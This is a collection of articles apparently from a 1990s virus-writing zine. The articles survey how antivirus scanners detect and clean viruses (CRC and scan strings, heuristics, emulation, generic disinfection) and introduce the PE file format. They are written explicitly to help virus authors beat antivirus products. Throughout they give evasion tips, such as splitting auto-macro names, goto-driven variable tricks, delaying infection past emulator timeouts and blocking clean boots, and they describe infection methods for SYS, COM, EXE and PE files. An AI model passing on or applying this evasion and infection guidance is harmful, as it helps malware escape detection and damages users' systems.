reason current heuristic engines uses for 32bit PE only passive heuristics (some kind of disassmbly). And
thats why there aren't generic decryptors and each polymorphical virus for Win9x must be handled
separately. But all Win9x viruses can be detected by its decryptor and - there are not many polymorphical
viruses for Win9x that are principialy different so at the present time a generic decryption is not as urgent as
it was for DOS.

Macro world
Microsoft offers many virus-friendly enviroments. During all the history it was this way and another powerfull
macro system becomes a new platform for viruses. Yeah, MS Office did it again. First tries to write virus for
Word were something like jokes. Most of people hassitated to call it virus, "self-spreading macro" was most
obviouse definition. But today everyone call it a virus, and there are realy many of them now. One may
guess there are even more macro viruses (or other script viruses) appears monthly than "regular" viruses.
Scanners have their life more complicated once again. Microsoft keeps "structured document format"
documentation for themsefs claiming: it is a internal format, you don't need to know about it, just use our
programming interface. However, Microsoft's interface doesn't allow enought to scan for viruses in macro
area. Avers had to find out document format by themselfs. Many of them weren't able to do it for a long time
(until third-party documentation appears). Because this format is up to twice fragmentized, and moreover -
fragmentation definition can be fragmented as well. Scanning macros was so unusual for avers, so some
antiviruses scanned whole files (funny, if virus body scanned for can be fragmented too - and they are not
able to catch fragmented pieces), or even specialized antiviruses appears and were rather successful at
market - like F-Win or HMVS.

From virus-maker's point of view there is no more needed than to understood macro commands. But avers
has to do much more. Microsoft's document format can be encapsulated in other formats and it is needed to
scan them all (like MS Excnage's folders, etc). Once they have reading routines to access macro area, a
regular scan-strings can be used. Some of first macro scanners just scanned from names of macros, but it is
outdated today. Scan-strings are really relieable. However, or polymorphic macro viruses things are more
complicated. For these reasons and again - to catch new viruses appearing every day, a heuristic scanners
appears. They are based on dissassembly of macro code (accessing macro area and walking through
instructions, finding unusual and/or suspected instructions or combinations). For macros heuristic is much
more reliable as instruction set is much more limitied, there are no registers or widely accessible memory,
etc.

Closing
Congratulation if you read all the things above. Hope it was not boring, and it helps you some way. The main
thing I tried to present here is you have to think, not plagiating other viruses, not doing all viruses same way
one right like another - but to show you that you have to understand scanning methods in order to write
better viruses. Because the more your virus complicates life to the avers, the more it is successful. If you can
write something that completly beats currently used methods, thats the best. I can give an example of slovak
viruses like Dark Paranoid, or TMC:Level_42, or let's start with german virus Tremor: its nothing unusual
except after it was detected by avers and added into scanners - it permutates (changed usual schema) and
old samples weren't caught by antiviruses again. Or Dark Paranoid: as they weak point of stealth viruses is
their presence in memory (and they can be detected there easily), Dark Paranoid is encrypted memory,
having polymorphical handler of single-step interrupt to encrypt only one instruction beeing executed. In this
way Dark Paranoid can't be caught in memory by simple scan-string, it can't be caught in files once it is
stealth. Or TMC, that stands for Tiny Mutation Compiler (well, linker actually) is able to permutates its own
instructions placing them in random order, connecting them with jumps and contitional jums and finally
relocates all memory access instructions and jumps. Scan string for it can't be choosed as it can be broken
after every single instruction. Moreover, in files it has only permutator and linker stored with data used to
constructuct and link whole body (not a instructions) - and it takes really long even to emulation heuristic to
construct whole virus and to test it.
These are examples of non-traditional thinking. Find your own way, break the limits of current point of view -
this way you can efectively beat avers - that they affraids most of all: they can't change principles of their
scanners every day. Think of it...

flush
In this article I would like to introduce my own view to scanning technologies for macros used in most
common antiviruses.

Structure of WB6/VBA
The first thing you have to understand is how macro is stored in file. This is probably the most important
reason why is scanning doing the way it is done. So let start. I will assume you know something about VBA
(visual basic for applications), what is the most common language used for macros. I would like to focus to
VBA, because it is more common than WB6 (word basic 6). VBA project is stored in its own folder. (you can
easy take a look at it by using dfview - suplied with DevStudio). Each macro is stored in stream with a bit
complex structure. Before macro is written to file it is compiled by built-in compiler to something like a stack-
machine language. So a = b + c is something like this:
push b ; put b to stack
push c ; put c to stack
add ; pop b, c and put it's summary to stack
pop a ; pop value and set a to it

Variables and function names are usually located in dictionary so it is a bit difficult to find them. In code are
just pointers or indexes. Moreover dictionary is not in macro file, so if avir (and many do so) is lazy it just
skips them.

Other important thing is that jumps and calls are not linked in file so it is a bit difficult to trace code flow.

Anoter aproach to scan VBA is to decode "source" suplied with macro. In this case avir have full source of
code (with all names and so on), so it is enough to skip some headers or something more and CRC it.

WB6 is much simplier in structure. It's code is stored in tokens (?), where each token has exact meaning. For
example space, +, -, SomeFunction, number, variable, and so on. So it is rather difficult to write emulator of
this language. I don't like to waste time with this, so some example (the same case as I used for vba):
variable "a"
operator '='
variable "b"
operator '+'
variable "c"

and some function:


internal function MacroCopy
string "my_macro"
operator ','
string "new_macro"

As you could easy find out this structure is very simple and that probably caused that most recent
technologie is CRC.

Scanning
Number of macro virii is growing day by day. This is a reason to use automatic systems to extract signatures.
Because they were coming with WB6, and WB6 has very simple structure, it seemed that CRC is the best. It
is "absolutely" exact - so it can recognise sub variants, it is fast and easy to implement. May be it seems silly,
but it was in days when everybody trusted that polymorphism in macro is not possible (what a mistake :-). So
scanning algorithm is something like this: CRC all macros and check in database. Look at macros you found
and if they describes whole variant virii is identified exact. If something is missing and I think it is enough:
possible virus. You can see even now the legacy of those old good days. Many variants are differ just in one
tab or space after end of macro. CRC rulez... Suddenly polymorphic ones came to the light of world and
CRC became not very efficient. Became not but it is very comfortable to just run some program on your
collection and to have signatures. The simplies way you can see is just to modify CRC algorithm. In those
days polymorphism was when name of variable changes or something like that, so why not to skip
whitespaces or variable names. And this is probably the final solution. So called smart-crc. Because of
structure of VBA you can afford to skip variable names (and it is even more comfortable - who will search for
it in tables). The structure of code is stored in code. It is enough to check the structure. You can easily see
that macro is doing something like ? = ? + ?. And this is enough. With this technique you can identify at least
90% of current virii. Finally if you want polymorphism you NEED to change the structure of code. For
example swap lines or add garbage code. And automatic AV technologies will be smashed to do ground.

The next and very old way are scanstrings. It is easy to implement scanstring like scanner for macros. This
may be exact because you can follow either structure of code or names. For example you may be looking
for:
ToolsMacro .Name = something with .Edit

These are two very easy to implement but efficient in use methods.

Some word about heuristics


The main problem of macro virii is that there doesn't exist non virii macros (in fact they are very rare). So AV
are not anxiety about how to detect, but how to distinguish between variants and how to find out macro is not
virii :).
It is easy to follow functions macro is using, so write a macro virii heuristics is easy. There is not problem to
say: "this may be macro virii", because you can easily find "ToolsMacro .Edit", "Organizer .Copy" and other
shit macro must be dealing with. In fact it is not enough. There are many legal self-installing macros using
macro copying functions. In virii you can find usually somthing special ... Very important flags for heuristics
may be:

There is reference to AUTOMACRO in code (or macro itself is auto) (so it is clever to build macro name
from substrings not containing whole macro name)
There are common commands and constructions like ActiveWorkbook.Modules and so on (try to avoid
very common constructions or use Set to substitute a part of command that is a bit hard to simulate)
Bevare of construction like ...VirusProtection=0 (at least don't use value after command, it may be more
visible for heuristics)

Because structure of VBA is a bit more complex it is hard to simulate it. In fact all heuristics i know about are
passive (it means they are just searching for something) and i don't know about any big advantages in more
complex analysis. In fact simulate whole macro is difficult task - try to write whole VBA... I have heard
someone emulates variables, but i don't believe it. And i am almost sure there is no full emulator of vba. So
something like this
a$="tomacro"
b$="au"
c$=b$+a$
is hardly ever suspicious for scanners. And I can't imagin that this can be suspicious:
....
a$=""
b$=""
10 c$=b$+a$
if c$<>"" goto 20
a$="tomacro"
b$="au"
goto 10
20 ....

Of course this is silly example, but i like to point that without code following emulation it is useless to have
emulation of variables. And you may use as many jumps as you want or even functions, cycles or something
even more evil. If you want to make day of aver harder just assign variables way that they can't be simulated
from top to down. It means use goto to turn back with new values and heuristics will have to be much more
complicated.

So that is all i want to say ....


Hello, that's me again, if you didn't get bored of me before. Originally this part was supposed to be written by
another famouse coder, but he did not do that due to beeing short of time. Unfortunately, I'm much much
shorter of them than him. But never mind: we are going to aim at heuristical principles in a short articles, but
be sure to read also main articles about antiviruses.

The main reason of heurisics is, as I already mentioned, to detect unkown viruses as many viruses appears
every month and it becomes difficult to keep track of them. First it was introduces by F-Prot (well, some kind
of, a bit hard to say if we can call it heuristic) and first real implemantation in well-known TBAV.
At first, we should define what heuristics exactly is, I try it by my own: heuristic scanner is a program (anti-
virus, more exaclty) that is able to detect viruses by analyzis of their code - what they do. But to decide if the
given code is a virus or not isn't easy even if it can look like it is - it is difficult to made it reliable. If you have a
look on viruses, the code they use, if you have a look on many many viruses, like avers did, you can easily
tell the things that are common for all the viruses. This are the beginings of heuristics - F-Prot used
something that was called in av-community "heuristics scan-strings". A short scan strings, searched in whole
body, of these typical constructions: like write command which is typicaly mov ah, 40h; mov cx, 1234h (size)
; int 21h. This is of course only illustration, this can be done in many ways, but not that much to have most of
them factorized (using wild-card scan-stings). If several of these scan-strings are found, you can say there is
probably a virus. But many regular programs written in assembler looks this way and not to have false
possitives it is required to hit many of these strings to report a possible virus infection.
Some avers trusted to f-prot's reports of possible viruses, but presented form wasn't quite reliable and
moreover, it was not able to detect more comlpicated pieces as it was set-up-ed to low sensitivity.

TBAV ruled the world


for a short time at least. Franz Heldman presented a brand new technology called heuristics in excelent look.
(but only for a first look). For a first look all stared in amazement: avers because they even never think about
such a things (many of them are only doing their work without real invetions), and vx-ers because it was able
to detect even viruses they are going to write. But reallity was a bit different: avers for a long time didn't
count TBAV's heuristics into scanning methods at all, they reported heuristics as not reliable (mostly because
they weren't able to replicate this technology even in simple look as TBAV has). Virus writers started to find a
ways how to fool TBAV (as soon as they stopped affraid of it).
Let's see how TBScan works: it uses passive heuristics (structured dissassembly) to analyze instructions.
Main aim was as before - to detect usual code-sequences found in viruses. Tbscan marked them with letters
by each file, and there were so many flags during years of development of tbav that covers whole alphabet
plus some other characters. Starting from entry-point Tbscan checks instruction by instruction judging them
and marking known code-sequences. But thats not enought, for sure. Also jumps are followed and on
conditional jumps both paths are disassembled. However, as dissassembly is done in single-pass, a simple
tricks that breakes intructions, etc can make tbscan to loose its track of code. Also it is easy to fool tbscan by
doing the things in non-usual way or indirectly. As it disassembles the code, even simple mov ah, 3f; inc ah
were enought to do so.
Tbscan also has many false possitives due to its not-fully relieable technology - when tbscan lost track of
codeflow (that happens quite often) it detects many flags on garbage code it finds. There were a quite long
database of files that are known false postitives - some kind of anti-scan-strings, if found, heuristics is not
performed on such a file.
TBAV's main weak point is it is so clear for everyone - even for virus writers they may easily guess how it
works - and how to avoid to be caught. As soon as TBAV becomes popular, neartly everyone started to
exclame their features they are tbav-proof. All is needed, during programmig, periodicaly run tbscan to see
when it displays its flags. Well, main keypoints to keep tbav far from you is to use good encryption (that can't
be passed by tbscan's decryptor), or to do things not as clearly as it is usual. Tbscan detects only usual
schemes, so simple tricks like and-s, add/sub on comparing will work. However, tbscan is out of game today.
There were also some plagiats, a german 'Suspiciouse' (as I remember), but all they went as unsucessful as
tbav.

To fix these disadvantages it is possible to partialy find out the values of registers by semi-emulating of piece
of code before key instruction (e.g. int 21). Only registers are emulated and memory access only for reading
(not to damage memory). This is used for example by active heuristic scanners to analyze code they can't
reach (we can call it local semi-emulation). In this stage doing mov/inc will not help, but doing rot-s or and-s
instead of comparing will sure fool this alorythms.

Improoving heuristics - emulation


There were a lot of big words how to do heuristics in real way, to do the things as they really are in file, but
not runned. Someone may guess a single-stepping might be used, but in reality it weren't ever used for it. It
is equivalent to running each file, but checking what you are executing. But your automatic debugging (its
somesthing like it) can't be used due to many protective envelopes that are designed to crash debugers. In
other words single stepping was never used for active heuristics as it can crash several times on a hard disc
files per scan. I remember, for example, dedicated scanner for EMM1:Level_3 that uses single-stepping. It
hangs several times in my utilities directory, runs many files (even pkzip), etc.
In fact, only emulation can be used for active heuristics - that is to check for is file exactly doing, and to
decide if it is viral code or not. In this point of view, there are two primary objectives. First one is a bit like
before - to find out suspective code constructions, but it is less important now. The more important is to
monitor activities that are really done. Let's imagine what virus usualy do - it tests something, becomes
resident (if it is a resident virus), and infects files on some certain activity in system. Well, and for example
becoming resident can be easily caught by active heuristics even if it is done in unreadable way - because it
detects direct modifications (let's talk about dos now) of 0:[413] or MCBs. But what really defines a virus is a
infection of other files - if emulated program searches for executables, modifies them (in order to replicate) it
is virus nearl for sure. If virus only installs itself into memory, a simple tests are run in virual machine - a file is
runned (and checked for infection), or opened for r/w, or opened on removable drive (likely copied to floppy).
This usualy notices any virus. Now you can surely guess some tips how to fool them. But we have to
continue: Because active heuristics is not 100% stable, there is usualy still engine for searching of typical
constructions with local semi-emulation (mentioned before). Capabilities of virus can be detected also this
way - even if they may not appear from the first view (or emulation ;-)
Now have a look at limits of emulators - this is primary subject to be undetectable by active heuristics: there
is virtual machine. Its main advantage and disatvantage at the same time. Of course, it is not V86 virtual
machine you probably think, but emulated computer:

it usualy has low memory (depends on implementation, even dos memory can be rather low!),
i/o ports are not working - some very-very popular are emulated, but no more - because emulater can't
allow to emulated program to write to ports, it can't guess real life of connected devices i.e. playing with
some ports might cause emulator to loose track.
Also, even emulated ROM might be writeable (but don't try it, because it can be real memory-mirrored
ROM ;)
Most of interrupts are not functional or are functional only in limited way. Int 21 and int 13 are of course
emulated as much as possible - because it is way of detection, but less known functions on int 21
possibly will not work (as well as other interrupts)
Hardware interrupts are not functional. For some purpose the most usual - irq 0 (int 8) is possibly
emulated, but for sure not with same periodicity as in reality, because emulator is much-much slower
Thats also important - slow emulator is a very seriouse limit - users don't want to spend all their life by
scanning disk and thats why emulation is time-limited (or by time, or by number of emulated
instructions). For this reason emulation have to be aborted on timeout too (for this reason there is also
usualy some dynamical adjust of lenght of emulation - if a very suspicious actions are found, more
instructions are emulated).
But timeout must be there, because emulator is not 100% functional (can't be by its definition) any
many regular programs might crash or stay in infinite loop. And if it takes you really long to do real viral
actions, emulator will abort on timeout sonner than it noticed your activity. (don't perform actions
directly - no fast infection - that's not a feature, but a bug! wait a bit, be less deterministic)
There might be bugs in emulator - but most usual instructions are working for sure. You may try some
less usual and undocumented (like undocumented versions (aam), instructions not in matrix (sal and
others), etc) but many of them are cpu-dependant. Moreover it tooks few minutes for avers to
implement new instruction (if it is some easy one). Also you may test some memory wraps (over-
segment and global memory wraps might not work, if they are computing adress lineary, SIB clipping
might not be handled correctly), test if A20 mapping works.
Also we are all 32-bit now: you can use 32bit registers, 32bit access and 32bit access modes. There
may be sill bugs in 32bit opcodes, or they are not working at all
There are also loading limits - because whole file (imagine 500k) can't be loaded and emulated - tooks
too much time. Only a some part of file is loaded to memory and you can test it in some way. (like using
host data as crypt-values).
Enviroment is more-less static, interrupts are not really emulated (tooks too long to emulated whole
int21, loading from fat, etc): as int instruction is emulated - it returns values depending on inputs or
doesn't emulate at all (less important). Int chain is emulated (usualy) only if it is redirected - until it
reaches dos entry. You can check if your interrupts are really passed to dos and processed.
You can use some anti-trace tricks (all you sure know some), but good emulators can trace through
anti-trace envelopes of other programs, so it will possibly go even through such a tricks
Do the things less clearly, if your virus is clever enought not to be caught on very first executed exe-file,
you have to be undetectable by passive part of heuristics as well (searching for instructions)
... try to imagine other limitations - because all is done by emulating you can surely guess others:
emulation is slow, buggy, speed and size limited, and very incomplete.

Currently leading heuristic scanners are NOD/iCE32 and Dr.Web - both of them are using mentioned
technologies (with also mentioned limitations), but only for dos executables (how lucky). At the present time,
none of them has 32bit emulator (I mean not written in 32bit, but fully emulating 32bit) and thats why they
can't perform active heuristic for Windows executables (PE/LX), and viruses for windows are not that much
affected by their heuristics power. For 32bit Win executables they are using only passive part - i.e.
disassembly and searching for suspicious code constructions (typical viral sequences).

These two antiviruses has much less false possitives, as they need exact actions to judge the file as infected.
(but they uses anti-scan-strings as well, because there are always false posstives). But the most amazing
thing uppon them is quite detailed description they report for infected file (especialy by NOD) - they can find
out if virus infect boot as well as com/exe files, if it infects sys files, if it is resident, stealth, polymorphical, etc.
You can nicely see it on NOD/iCE in which the scan-strings can be turned of to use only a heurisics. The hit-
rates running heuristics-only are quite impressive.
Other heurisics scanners
There are of course some other heuristics scanners in the world, but less important. AVP has a kind of active
heurisics too, as it is part of generic decryption engine AVP has. But as AVP is the highest-standard antivirus
in the world and it has really lots of scanstrings, its heuristics can be set-up-ed for lower sensitivity which also
brings less false possitives. Heuristics is also less visible, because it reports unknown virus really rarely.
Simmilar situation is for Dr.Solomon's Toolkit (not Solomon's any more, of course). In our tests we modified
toolkit's viral databse not to have any scanstrings to test heuristics only. Result was as expected: less than
70% (slightly vary). You really don't need to affair of this heuristical engine, if you can beat those mentioned
above. Solomon added only some very easy one (like AVP) to have some less hitrate also on unknown
viruses. But Solomon's policy in scan-strings was to add anything, no matter if it is a virus - so they have a
biggest hitrates without any thinking of it (this is why I don't like it).
The worst heuristical scanner I know is AVG, time ago it has same weak point as Tbscan has, even more - it
shows emulation process (with optional step-by-step confirmation) and you can see code and registers - and
easily test the bugs in it :) It was showen only to impress audience, because it was really buggy and useless.
It was several times improoved, but without reasonable result - first versions were extremly slow and buggy.
Afterwards, they used new scanning/heuristical core (developed by someone else who joined their team)
which is a bit faster and better, but still pretty weak.
To finish a overview of others I have to mention NAI as well. But it is rather easy to accomplish, because NAI
has no own technology (or really very little - only some programmers that downgrade buyed technology by
putting it together with others). NAI buys anything that can be buyed, currently as far as I know they are
using engine of dr.solomon with roughly same capabilities as dr.solomon. May be they'll try to buy another
heuristical scanner... Who knows...

Heuristical cleaning
Now we are in second, more-less important chapter of this article. Heuristical cleaning was firstly presented
by TBAV, program named Tbclean. But at first we have to explain what heuristical cleaning is: a cleaning of
virus from file without knowing virus exactly, just by tracing it or more complex automated analyzis. But
heuristical cleaning is less important than scanning, because it is much more reliable and also much less
used. Moreover, the hitrate is analyzed in test-tables, not these high-tech features.
Tbclean performs it in most easy way. As TBAV was lack of emulator engine, Tbclean uses single-stepping
to trace program. You can surely guess it will not work in many cases. Of course - it crashes (whole
computer) on protective envelopes, and sometimes also on usual programs. But it sometimes works.
Principle was simple tracing virus, because virus when it does usual things, reconstructs host body and
passes control there. Idea is to allow reconstruction (but disallow instalation, if possible), and on jump to host
body make a snapshot of reconstructed file. Passing control back to host was detected by jumping (or ret or
whatever) to offset 100h (for com's), or far-jump (retf respectively) for exe files. Nearly every virus ends this
way. All is needed is to write image back to disk and work is done (it is verry simmilar to exe-unpackers with
tracing).
To prevent instalation, tbscan for example returns for GetDosVersion call version 2, that most of viruses
refuses. Simple and effective. But there were (are) also many other tricks. Some of them you may guess if
you want to write simmilar cleaner: prevent of some instructions (like cli, i/o ports, hard stack modifications,
filter interrupts (they are redirected not to be accidentaly infected - int21 for example usualy returns error
(carry set)). Big problem it to find out where to cut-down the file. File can be easily reconstructed, but cleaner
don't know where to cut it. There are several possibilities:

Cut it on entry point (sounds good, but will damage files if virus doesn't puts itself at the end). (tbclean
always do this - thats why it can't clean Commander Bomber for example)
Leave it as it is. (works almost everytime - but there is still inactive virus body, and some stupid
antiviruses still might detect it)
To guess virus infection type and virus size (much more complicated, only some of newer cleaners do
this)

Tbclean was first and really simple and buggy. It crashed very often, in many cases reconstructed file was
corrupted, and moreover - as it becomes pretty famouse there were tricks like in virus Varicella, that was
really executed whey it was cleaned by tbclean (this virus mades Franz Heldman really angry ;) But in these
days it is forgotten as well as whole TBAV.

Emulation makes it reliable


Yes, thats right. With a new generation of heuristical scanners (Dr.Web and NOD/iCE), there are better
possibilities to clean file - and not to crash. Principle remains the same - emulate virus as much as possible,
to find out as many information as possible. This is some deep heavy woodoo magic of avers - thats why
only really few of them can do this. Of course, much better is exact disinfection which is much more
valueable (like AVP has), but to impress us (vx-ers) and other avers, this magic is here ;-)
At the present time, however, it is functional enought only in NOD/iCE (pretty impressive, but due to
mentioned limitation of their emulator it doesn't work for 32bit files (win)). Heuristics cleaning is also used in
AVG, but I would say the same as to their heuristical scanner: it was really poor time ago, and after
upgrading core it is still not enought. Finally, there is Dr.solomon (which is also used as core engine in NAI's
now) but it doesn't perform generic cleaning at all (I mean cleaning unknown viruses). As far as I have
informations, it is only used to disinfect virus that are possitively known as cleanable. Thats why you will not
notice a heuristical cleaning at all. Reffering to things above, I will focus primarily on NOD/iCE as it uses imho
best technologies of all mentioned.

Generic idea is same - to emulate virus to allow him reconstruct host file, and use retrieved infromation to
repair host. All is done in emulated virtual PC, with emulated disks. The simpliest way of disintection is to
save reconstructed file and to cut out virus. As there are several types of appending virus to file, it might
slightly differ on technology how to cut it out. Clever technology, if virus works fine in emulator, is to virtually
infect several virtual files (goats) to find out size of virus and where the virus is stored (by diffing with original
file). This way they may guess nearly exact the infection methods of virus. For combined boot/exe/com
viruses, as they are usualy installing itself to mbr, a virtual reboot is done to activate them in virtual pc after
they installs into virtual mbr. (oops, so virtually ;) After guessing the size and knowing where virus stores itself
in file, a real infected file might be run (virtually, again) to repair host, find out entry-point, and cut it using
informations retrieved before (if they are not available, some alchemy is done or virus body is left there).
This way it looks simply, but isn't. I guess heuristics scanning and heuristics cleaning is top high-tech
technology avers are using now (also reffer to my overview of antivirus methods). Even if the principles and
ideas are simple there is lots of things to be done to make virus work in virtual pc, so the complications you
might prepare for heuristics (cleaning especialy) might be awarded by your success. Good luck!

flush
Well, dear virus friends, this article may be a little bit unfriendly, but, our mag is an open forum. And besides,
we do not have CDA (now after couple of week i don't know what stands this for). The main goal of this
article is just to show our vx community, how easy can be our viruses removed, when necessary.

AV Companies
There is a shitload of viruses and virus strains around, and many of them are "In the wild". Estimated virus
count is about 20000+ and we also have more than 3500+ macroviruses. It is not likely any AV software can
succesfully detect all the viruses. Nor they can remove it all. But they are at least trying it.

A. Overwriting viruses
These viruses are basically uncleanable. No doubt. This category of viruses is lame. And lameness of this
virus type is also the reason, why the infected files cannot be cleaned to their original state. They can be
deleted, renamed, but the only way to restore infected files to their original state is the use of backup copies
(if they exist).

B. Non overwriting viruses.


This type of viruses can be removed in up to 100 per cent of cases. The reason is the virus of this category
has to launch the host in some monent. In this specific point of time, the host file is rebuilt in that way, as if it
was not infected, or better the file is executed as not infected.

But, let's take a closer look on every type of non-overwriting viruses.

B1. FILE VIRUSES


1. Companion viruses
This type of viruses takes advantage of priority of launching executable files with the same name but
different extension. Sorted from highest to lowest priority, the files are launched in following order:

1. com
2. exe
3. bat

The virus simply creates file with the same name, but with extension having higher priority, containing
the copy of virus, or changes the file extension to one with lower priority and writes the viral into the file
with original name and extension. As the virus doesn't modify the infected file in any way, it is trivial to
remove the virus. The structure of the file can help to determine the original file extension. Any file,
starting with obvious 'MZ' or 'ZM' is handles as EXE file by the system, when having specific minimal
lenght. This limit seems to be 26 bytes.
Following code
db 'MZ'
db 21 dup ('A')
int 20h

exits without any problems, but when you replace second line with
db 22 dup ('A')

you get nice message "Program too big to fit in memory".

Thus, first remove the file with viral body. Then check the file structure and of the file with the same
name and rename it back to original extension. And bingo.

2. Linking viruses (DIR II and its kind)


This type of viruses takes doesn't change anything in infected file. It just link the starting cluster of the
file to the viral body located somewhere on the disk.

Main symptom one can see if lot of cross-linked files all around the disk drive. To "clean" this kind of
virus one need to link back the strating cluster of the file to the original. And do not forget to remove the
virus body from the harddisk.

For information considering FAT 32 take a look at great article A fool named FAT 32 by flush.

3. Com viruses
Basically, there are two types of COM viruses. The first type uses the "classic" way to receive the
controll. It writes to the beginning of the file jump to the virus body and saves the original bytes
somewhere in virus body.

JMP virus
E9 xx xx

Rest of them program

virus:
Virus body

Original bytes

To remove virus of this kind, is necessary to locate in virus body original bytes form the file start and
restore the start of the file. Then the file is it was before infection (but still contains the viral body). Last
step in the process of removing virus is to cut the viral body. In most cases can be used as the best for
cutting the (xx xx)+3 position, where xx xx stands for the size of initial jump. In most typical case whole
body of the virus is removed. In some rare exceptions the file will contain some bytes of viral body.

Second approach is more complex. The virus body is written to the beginning of the file and the rest of
the file is just moved behind the virus body. On execution the virus moves the file to its "normal"
position and launches it.

Virus body

Program moved up

The solution of infection is very handy is this case. All the Averz have to do is to move the program to
the beginning of the file. Nothing less, nothing more.

As possible "D-fence" can be used combination of both infection methods above. But the removal still
will be very easy.

4. Exe viruses
Typically, exe infecting viruses appends the viral body to the end of the file and then virus modifies
EXE header in order to launch virus before the infected file.

EXE header
CS:IP

Program

Virus body

It is sure somewhere in the virus is stored at least original value of Exe_CS and Exe_IP, optionally also
Relo_SS and/or Relo_SP or even the whole original EXE header. Virus is removed in following steps.
At very beginning the Exe_CS and Exe_IP are located and their values are restored. Optionally are
restored also Relo_SS and Relo_SP. Then is necessary to compute values of size of the file in pages
and store this two words to offsets 2 and 4 in the header. Now it is possible to save restored file header
to the file. And last step is the cutting the file to its original size.
If the virus contains whole original header (as most of the steatlh viruses do) is the removal of the virus
easier as described above. All the cleaning is about is to locate the original header inside the virus and
save it to the offset 0 in the file. Then naturally Avers cut the virus body and .... Done !

Well, exe files, the above stuph was all about the DOS times. Now is the PE file the target. And
removing of virus infections here can be even easier. If the bad Aver is really lazy, all he need to do is
to skip the virus. In other words, he has to set original RVA entrypoint on the file. He doesn't need to
care with viral body or added section.

So dudes, in order to make their task harder, do some unusual operation with the saved bytes
necessary to hand over the code flow to the infected host.

5. Sys viruses
Device drivers are the rarest target for viruses. Since Dark Angel published his tutes, everyone can
infect *.sys files. The trick is simple as hell - it uses the feature of SYS philes - chaining of the SYS files.
All we need do infect a SYS file is to add the necessary code to the host and just change the first dword
of the file to point to the header of our new character device. So easy it is.

So is the cleaning. Very lazy Aver can assume something in the way there is always only once driver in
SYS file. The procedure of cleaning is then

take a word from offset BOF+2 in the file


lseek to that location
cut here the file
lseek to BOF
write this 4 bytes: 0xFF 0xFF 0xFF 0xFF to the BOF

They could also take a more optimised way: to transverse all the headers, till they found a last one.
This is beginning of the virus, so cleaning is easy then.
B2. Boot viruses
Boot virus occupies MBR of the hard disc or boot sector of the drive. In most typical case, the virus stores
"somewhere" on the infected media also the original, uninfected MBR or boot sector. To wipe boot virus is
very efficient to use the sector with stored MBR/boot sector and to restore its original location. Another
method is to use of some kind of generic MBR/boot sector, when original in not available. To try to fuck up
with the averz, all you have to do is not to allow a clean boot. Could be arranget with a little bit phantasy and
code ...

B3. Macroviruses
As for the macroviruses, there is a very simple workaround - all you have to do is to delete macros. Sure, this
is not the best solution, but quit reliable. You have no macros, viral as well as non viral. Non viral macros are
let's say casulities of the war.

B4. Multipartite viruses


Basically these viruses have multiple targets of infection. Therefore cleaning such a thing is more complex -
you have to clear e.g. boot sector and the files or documents and philes. Lot of possibilities AVers can do
some errors :)))

B5. Special viruses


Requires special methods of removing, if the removing is possible. Here belongs also the viruses with some
kind of "life insurance", like One_half with its hard disk encryption or Griyo s Implant with its cyclic partition. If
some AVer doesn't pay atention to this special method of infection can await a lot of hot line traffic.

C. Closing words
AVers due the increasing number of viruses doen't have time to clean all of them. But they are at least trying
- so do their job as much time costing as it will be not worth the money.
For the people (and this article is dedicated for them), which have no clue about the thing and for the full
coverage. PE (Portable Executable) is format of executable files of all newer Window$. In comparision with
now nearly extinct NE species brings PE some substantial advantages. The most important one is the 32-bit
FLAT model support. In this memory model the segments (as we know them from DOS or 16-bit protected
mode) practically did lost its sense. Every process has its own adress space, we do not need to solve the old
problem where to place some piece of code in order not to fuck up (overwrite) another proggy and so on.
Due to this feature, can every program decide on its own, with practically no limitations, where it will store
whatever it want. If the program wants to have at adress 0x1234567 some wierd string, it can expect the
string will be really there. therefore it is not necessary for the program to have relacationa table (but there are
some reasons why this table is linked to the program by default). As i mentioned before, segments in such a
mode doesn't have any special nor important reason. Program after the start has already set CS, DS, and
ES to the segments covering whole adress space (with 4GB size) and the program can access any desired
adress. Of course, if the system thinks it it doesn't have access to this adress (if there is something important
on this adress [this is not the case under W95 or W98] or there is nothing on this adress) attempt to access
such a adress could generate exception. Such exception could be of course intercepted and the lamer at the
keyboard will have no clue about it :-)... But this is far advanced for now...
As we want have the overview, how the adress space looks like, here it is:

0h- 3FFFFFh reserved, should not be accessed


400000h-7FFFFFFFh process private area - here are all the sections form EXE mapped
80000000h-FFFFFFFFh shared area - various DLL, VxD and some other monsters

Well, as a kick start it should be enough, let go to the PE itself. PE is format suspiciously similar to the COFF
formats used on the Unix systems. It consists of header and the data area which is directly mapped to the
adress space of the process. The headers itself are stored before start of code so if you want to find them
align address to 4kB and track back to find page starting with 'MZ'. Of course don't forget to set exception
handler for page fault.
EXE files are mapped staring at adress 0x400000. This starting adress is called ImageBase. It should be no
suprise the ImageBase can be set during linking process. When the file is loaded couple of things happens
(shit is none of them)

1. headers are loaded into some buffer


2. all the sections are mapped to some space, in order to avoid relocations, ImageBase is preffered. If the
ImageBase is not free and the program has relocation table, file is mapped elsewhere and will be
relocated.
3. DLL needed by the program are mapped to the process
4. pointers to imported functions are fixed
5. stack is set
6. program is executed (jump to some entry point)

note: i don't guarantee the steps above are performed in given order ;-)
As for the DLL mapping this process is similar, but jump to the entry point is not " just jump" but AL holds
value which holds information whether

DLL_PROCESS_ATTACH = 1 library is mapped to a new process and should initialise its global data
DLL_THREAD_ATTACH = 2 some proces registred library again but data have been already inicialised
(DLL_PROCESS_ATTACH already performed)
DLL_THREAD_DETACH = 3 some thread freed library
DLL_PROCESS_DETACH = 0 process terminates, library is being unmapped and should terminate its
activity

note: most likely calling of library entry point could be disabled by some way
note: naturally, library doen't have own stack

Due compatibility reasons every PE file starts with MZ header, where at offset 0x3C is dword ptr to the PE
header.
File is divided in somethink like sectors (with variable size, by default 0x200 - FileAlignment) and file headers
(all together, not every one separated) and sections are aligned to that size. This creates some space for
storing the virus body (but under 4000 bytes) because on every section we can gain approx. 100h bytes and
in the PE files do not use have to much sections. This strategy is used by CIH.

As for the structure of the headers, i strongly recommend to see file WINNT.H File header has following
structure:
struct PE_FILE_HEADERS
{
DWORD magic; // = 0x00004550 ("PE\0\0")
_IMAGE_FILE_HEADER primary_header;
_IMAGE_OPTIONAL_HEADER optional_header;
_IMAGE_SECTION_HEADER section_headers[primary_header.NumberOfSections];
BYTE dummy[aligned to optional_header.FileAlignment];
};

In the header i would like to point to some positions

_IMAGE_FILE_HEADER
Machine processor, on which the file is able to run I386 = 0x14c
NumberOfSections name says it all, for dummies number of the sections in program
_IMAGE_OPTIONAL_HEADER
SizeOfCode size of all pages alloceted for code
SizeOfInitializedData size of all pages allocated for data
